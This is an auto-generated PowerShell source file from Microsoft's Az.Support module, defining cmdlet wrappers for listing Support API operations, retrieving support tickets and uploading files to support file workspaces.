# ---------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Code generated by Microsoft (R) AutoRest Code Generator.Changes may cause incorrect behavior and will be lost if the code # is regenerated. # ---------------------------------------------------------------------------------- <# .Synopsis This lists all the available Microsoft Support REST API operations. .Description This lists all the available Microsoft Support REST API operations. .Example Get-AzSupportOperation .Outputs Microsoft.Azure.PowerShell.Cmdlets.Support.Models.IOperation .Link https://learn.microsoft.com/powershell/module/az.support/get-azsupportoperation #> function Get-AzSupportOperation { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Support.Models.IOperation])] [CmdletBinding(DefaultParameterSetName='List', PositionalBinding=$false)] param( [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ List = 'Az.Support.private\Get-AzSupportOperation_List'; } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } <# .Synopsis Gets details for a specific support ticket. Support ticket data is available for 18 months after ticket creation. If a ticket was created more than 18 months ago, a request for data might cause an error. .Description Gets details for a specific support ticket. Support ticket data is available for 18 months after ticket creation. If a ticket was created more than 18 months ago, a request for data might cause an error. .Example Get-AzSupportTicketsNoSubscription .Example Get-AzSupportTicketsNoSubscription -SupportTicketName "test1-5dda17d0-a60d-4f4c-82e3-0fe3604c0ed4" .Inputs Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportIdentity .Outputs Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportTicketDetails .Notes COMPLEX PARAMETER PROPERTIES To create the parameters described below, construct a hash table containing the appropriate properties. For information on hash tables, run Get-Help about_Hash_Tables. INPUTOBJECT <ISupportIdentity>: Identity Parameter [ChatTranscriptName <String>]: ChatTranscript name. [CommunicationName <String>]: Communication name. [FileName <String>]: File Name [FileWorkspaceName <String>]: File Workspace Name [Id <String>]: Resource identity path [ProblemClassificationName <String>]: Name of problem classification. [ServiceName <String>]: Name of the Azure service. [SubscriptionId <String>]: The ID of the target subscription. The value must be an UUID. [SupportTicketName <String>]: Support ticket name. .Link https://learn.microsoft.com/powershell/module/az.support/get-azsupportticketsnosubscription #> function Get-AzSupportTicketsNoSubscription { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportTicketDetails])] [CmdletBinding(DefaultParameterSetName='List', PositionalBinding=$false)] param( [Parameter(ParameterSetName='Get', Mandatory)] [Alias('Name')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [System.String] # Support ticket name. ${SupportTicketName}, [Parameter(ParameterSetName='GetViaIdentity', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportIdentity] # Identity Parameter ${InputObject}, [Parameter(ParameterSetName='List')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Query')] [System.String] # The filter to apply on the operation. # We support 'odata v4.0' filter semantics. # <a target='_blank' href='https://docs.microsoft.com/odata/concepts/queryoptions-overview'>Learn more</a> <br/><i>Status</i> , <i>ServiceId</i>, and <i>ProblemClassificationId</i> filters can only be used with 'eq' operator. # For <i>CreatedDate</i> filter, the supported operators are 'gt' and 'ge'. # When using both filters, combine them using the logical 'AND'. ${Filter}, [Parameter(ParameterSetName='List')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Query')] [System.Int32] # The number of values to return in the collection. # Default is 25 and max is 100. ${Top}, [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ Get = 'Az.Support.private\Get-AzSupportTicketsNoSubscription_Get'; GetViaIdentity = 'Az.Support.private\Get-AzSupportTicketsNoSubscription_GetViaIdentity'; List = 'Az.Support.private\Get-AzSupportTicketsNoSubscription_List'; } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } <# .Synopsis Get ticket details for an Azure subscription. Support ticket data is available for 18 months after ticket creation. If a ticket was created more than 18 months ago, a request for data might cause an error. .Description Get ticket details for an Azure subscription. Support ticket data is available for 18 months after ticket creation. If a ticket was created more than 18 months ago, a request for data might cause an error. .Example Get-AzSupportTicket .Example Get-AzSupportTicket -SupportTicketName "test1-5dda17d0-a60d-4f4c-82e3-0fe3604c0ed4" .Inputs Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportIdentity .Outputs Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportTicketDetails .Notes COMPLEX PARAMETER PROPERTIES To create the parameters described below, construct a hash table containing the appropriate properties. For information on hash tables, run Get-Help about_Hash_Tables. INPUTOBJECT <ISupportIdentity>: Identity Parameter [ChatTranscriptName <String>]: ChatTranscript name. [CommunicationName <String>]: Communication name. [FileName <String>]: File Name [FileWorkspaceName <String>]: File Workspace Name [Id <String>]: Resource identity path [ProblemClassificationName <String>]: Name of problem classification. [ServiceName <String>]: Name of the Azure service. [SubscriptionId <String>]: The ID of the target subscription. The value must be an UUID. [SupportTicketName <String>]: Support ticket name. .Link https://learn.microsoft.com/powershell/module/az.support/get-azsupportticket #> function Get-AzSupportTicket { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportTicketDetails])] [CmdletBinding(DefaultParameterSetName='List', PositionalBinding=$false)] param( [Parameter(ParameterSetName='Get', Mandatory)] [Alias('SupportTicketName')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [System.String] # Support ticket name. ${Name}, [Parameter(ParameterSetName='Get')] [Parameter(ParameterSetName='List')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.DefaultInfo(Script='(Get-AzContext).Subscription.Id')] [System.String[]] # The ID of the target subscription. # The value must be an UUID. ${SubscriptionId}, [Parameter(ParameterSetName='GetViaIdentity', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportIdentity] # Identity Parameter ${InputObject}, [Parameter(ParameterSetName='List')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Query')] [System.String] # The filter to apply on the operation. # We support 'odata v4.0' filter semantics. # [Learn more](https://docs.microsoft.com/odata/concepts/queryoptions-overview). # _Status_, _ServiceId_, and _ProblemClassificationId_ filters can only be used with Equals ('eq') operator. # For _CreatedDate_ filter, the supported operators are Greater Than ('gt') and Greater Than or Equals ('ge'). # When using both filters, combine them using the logical 'AND'. ${Filter}, [Parameter(ParameterSetName='List')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Query')] [System.Int32] # The number of values to return in the collection. # Default is 25 and max is 100. ${Top}, [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ Get = 'Az.Support.private\Get-AzSupportTicket_Get'; GetViaIdentity = 'Az.Support.private\Get-AzSupportTicket_GetViaIdentity'; List = 'Az.Support.private\Get-AzSupportTicket_List'; } if (('Get', 'List') -contains $parameterSet -and -not $PSBoundParameters.ContainsKey('SubscriptionId') ) { $testPlayback = $false $PSBoundParameters['HttpPipelinePrepend'] | Foreach-Object { if ($_) { $testPlayback = $testPlayback -or ('Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.PipelineMock' -eq $_.Target.GetType().FullName -and 'Playback' -eq $_.Target.Mode) } } if ($testPlayback) { $PSBoundParameters['SubscriptionId'] = . (Join-Path $PSScriptRoot '..' 'utils' 'Get-SubscriptionIdTestSafe.ps1') } else { $PSBoundParameters['SubscriptionId'] = (Get-AzContext).Subscription.Id } } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } <# .Synopsis This API allows you to upload content to a file .Description This API allows you to upload content to a file .Example {{ Add code here }} .Example {{ Add code here }} .Inputs Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportIdentity .Inputs Microsoft.Azure.PowerShell.Cmdlets.Support.Models.IUploadFile .Outputs System.Boolean .Notes COMPLEX PARAMETER PROPERTIES To create the parameters described below, construct a hash table containing the appropriate properties. For information on hash tables, run Get-Help about_Hash_Tables. FILEWORKSPACEINPUTOBJECT <ISupportIdentity>: Identity Parameter [ChatTranscriptName <String>]: ChatTranscript name. [CommunicationName <String>]: Communication name. [FileName <String>]: File Name [FileWorkspaceName <String>]: File Workspace Name [Id <String>]: Resource identity path [ProblemClassificationName <String>]: Name of problem classification. [ServiceName <String>]: Name of the Azure service. [SubscriptionId <String>]: The ID of the target subscription. The value must be an UUID. [SupportTicketName <String>]: Support ticket name. INPUTOBJECT <ISupportIdentity>: Identity Parameter [ChatTranscriptName <String>]: ChatTranscript name. [CommunicationName <String>]: Communication name. [FileName <String>]: File Name [FileWorkspaceName <String>]: File Workspace Name [Id <String>]: Resource identity path [ProblemClassificationName <String>]: Name of problem classification. [ServiceName <String>]: Name of the Azure service. [SubscriptionId <String>]: The ID of the target subscription. The value must be an UUID. [SupportTicketName <String>]: Support ticket name. UPLOADFILE <IUploadFile>: File content associated with the file under a workspace. [ChunkIndex <Int32?>]: Index of the uploaded chunk (Index starts at 0) [Content <String>]: File Content in base64 encoded format .Link https://learn.microsoft.com/powershell/module/az.support/invoke-azsupportuploadfilesnosubscription #> function Invoke-AzSupportUploadFilesNoSubscription { [OutputType([System.Boolean])] [CmdletBinding(DefaultParameterSetName='UploadExpanded', PositionalBinding=$false, SupportsShouldProcess, ConfirmImpact='Medium')] param( [Parameter(ParameterSetName='Upload', Mandatory)] [Parameter(ParameterSetName='UploadExpanded', Mandatory)] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspace', Mandatory)] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspaceExpanded', Mandatory)] [Parameter(ParameterSetName='UploadViaJsonFilePath', Mandatory)] [Parameter(ParameterSetName='UploadViaJsonString', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [System.String] # File Name ${FileName}, [Parameter(ParameterSetName='Upload', Mandatory)] [Parameter(ParameterSetName='UploadExpanded', Mandatory)] [Parameter(ParameterSetName='UploadViaJsonFilePath', Mandatory)] [Parameter(ParameterSetName='UploadViaJsonString', Mandatory)] [Alias('WorkspaceName')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [System.String] # File WorkspaceName ${FileWorkspaceName}, [Parameter(ParameterSetName='UploadViaIdentity', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UploadViaIdentityExpanded', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportIdentity] # Identity Parameter ${InputObject}, [Parameter(ParameterSetName='UploadViaIdentityFileWorkspace', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspaceExpanded', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportIdentity] # Identity Parameter ${FileWorkspaceInputObject}, [Parameter(ParameterSetName='Upload', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UploadViaIdentity', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspace', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Models.IUploadFile] # File content associated with the file under a workspace. ${UploadFile}, [Parameter(ParameterSetName='UploadExpanded')] [Parameter(ParameterSetName='UploadViaIdentityExpanded')] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspaceExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.Int32] # Index of the uploaded chunk (Index starts at 0) ${ChunkIndex}, [Parameter(ParameterSetName='UploadExpanded')] [Parameter(ParameterSetName='UploadViaIdentityExpanded')] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspaceExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.String] # File Content in base64 encoded format ${Content}, [Parameter(ParameterSetName='UploadViaJsonFilePath', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.String] # Path of Json file supplied to the Upload operation ${JsonFilePath}, [Parameter(ParameterSetName='UploadViaJsonString', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.String] # Json string supplied to the Upload operation ${JsonString}, [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Returns true when the command succeeds ${PassThru}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ Upload = 'Az.Support.private\Invoke-AzSupportUploadFilesNoSubscription_Upload'; UploadExpanded = 'Az.Support.private\Invoke-AzSupportUploadFilesNoSubscription_UploadExpanded'; UploadViaIdentity = 'Az.Support.private\Invoke-AzSupportUploadFilesNoSubscription_UploadViaIdentity'; UploadViaIdentityExpanded = 'Az.Support.private\Invoke-AzSupportUploadFilesNoSubscription_UploadViaIdentityExpanded'; UploadViaIdentityFileWorkspace = 'Az.Support.private\Invoke-AzSupportUploadFilesNoSubscription_UploadViaIdentityFileWorkspace'; UploadViaIdentityFileWorkspaceExpanded = 'Az.Support.private\Invoke-AzSupportUploadFilesNoSubscription_UploadViaIdentityFileWorkspaceExpanded'; UploadViaJsonFilePath = 'Az.Support.private\Invoke-AzSupportUploadFilesNoSubscription_UploadViaJsonFilePath'; UploadViaJsonString = 'Az.Support.private\Invoke-AzSupportUploadFilesNoSubscription_UploadViaJsonString'; } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } <# .Synopsis This API allows you to upload content to a file .Description This API allows you to upload content to a file .Example {{ Add code here }} .Example {{ Add code here }} .Inputs Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportIdentity .Inputs Microsoft.Azure.PowerShell.Cmdlets.Support.Models.IUploadFile .Outputs System.Boolean .Notes COMPLEX PARAMETER PROPERTIES To create the parameters described below, construct a hash table containing the appropriate properties. For information on hash tables, run Get-Help about_Hash_Tables. FILEWORKSPACEINPUTOBJECT <ISupportIdentity>: Identity Parameter [ChatTranscriptName <String>]: ChatTranscript name. [CommunicationName <String>]: Communication name. [FileName <String>]: File Name [FileWorkspaceName <String>]: File Workspace Name [Id <String>]: Resource identity path [ProblemClassificationName <String>]: Name of problem classification. [ServiceName <String>]: Name of the Azure service. [SubscriptionId <String>]: The ID of the target subscription. The value must be an UUID. [SupportTicketName <String>]: Support ticket name. INPUTOBJECT <ISupportIdentity>: Identity Parameter [ChatTranscriptName <String>]: ChatTranscript name. [CommunicationName <String>]: Communication name. [FileName <String>]: File Name [FileWorkspaceName <String>]: File Workspace Name [Id <String>]: Resource identity path [ProblemClassificationName <String>]: Name of problem classification. [ServiceName <String>]: Name of the Azure service. [SubscriptionId <String>]: The ID of the target subscription. The value must be an UUID. [SupportTicketName <String>]: Support ticket name. UPLOADFILE <IUploadFile>: File content associated with the file under a workspace. [ChunkIndex <Int32?>]: Index of the uploaded chunk (Index starts at 0) [Content <String>]: File Content in base64 encoded format .Link https://learn.microsoft.com/powershell/module/az.support/invoke-azsupportuploadfile #> function Invoke-AzSupportUploadFile { [OutputType([System.Boolean])] [CmdletBinding(DefaultParameterSetName='UploadExpanded', PositionalBinding=$false, SupportsShouldProcess, ConfirmImpact='Medium')] param( [Parameter(ParameterSetName='Upload', Mandatory)] [Parameter(ParameterSetName='UploadExpanded', Mandatory)] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspace', Mandatory)] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspaceExpanded', Mandatory)] [Parameter(ParameterSetName='UploadViaJsonFilePath', Mandatory)] [Parameter(ParameterSetName='UploadViaJsonString', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [System.String] # File Name ${FileName}, [Parameter(ParameterSetName='Upload', Mandatory)] [Parameter(ParameterSetName='UploadExpanded', Mandatory)] [Parameter(ParameterSetName='UploadViaJsonFilePath', Mandatory)] [Parameter(ParameterSetName='UploadViaJsonString', Mandatory)] [Alias('WorkspaceName')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [System.String] # File WorkspaceName ${FileWorkspaceName}, [Parameter(ParameterSetName='Upload')] [Parameter(ParameterSetName='UploadExpanded')] [Parameter(ParameterSetName='UploadViaJsonFilePath')] [Parameter(ParameterSetName='UploadViaJsonString')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.DefaultInfo(Script='(Get-AzContext).Subscription.Id')] [System.String] # The ID of the target subscription. # The value must be an UUID. ${SubscriptionId}, [Parameter(ParameterSetName='UploadViaIdentity', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UploadViaIdentityExpanded', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportIdentity] # Identity Parameter ${InputObject}, [Parameter(ParameterSetName='UploadViaIdentityFileWorkspace', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspaceExpanded', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Models.ISupportIdentity] # Identity Parameter ${FileWorkspaceInputObject}, [Parameter(ParameterSetName='Upload', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UploadViaIdentity', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspace', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Models.IUploadFile] # File content associated with the file under a workspace. ${UploadFile}, [Parameter(ParameterSetName='UploadExpanded')] [Parameter(ParameterSetName='UploadViaIdentityExpanded')] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspaceExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.Int32] # Index of the uploaded chunk (Index starts at 0) ${ChunkIndex}, [Parameter(ParameterSetName='UploadExpanded')] [Parameter(ParameterSetName='UploadViaIdentityExpanded')] [Parameter(ParameterSetName='UploadViaIdentityFileWorkspaceExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.String] # File Content in base64 encoded format ${Content}, [Parameter(ParameterSetName='UploadViaJsonFilePath', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.String] # Path of Json file supplied to the Upload operation ${JsonFilePath}, [Parameter(ParameterSetName='UploadViaJsonString', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.String] # Json string supplied to the Upload operation ${JsonString}, [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Returns true when the command succeeds ${PassThru}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ Upload = 'Az.Support.private\Invoke-AzSupportUploadFile_Upload'; UploadExpanded = 'Az.Support.private\Invoke-AzSupportUploadFile_UploadExpanded'; UploadViaIdentity = 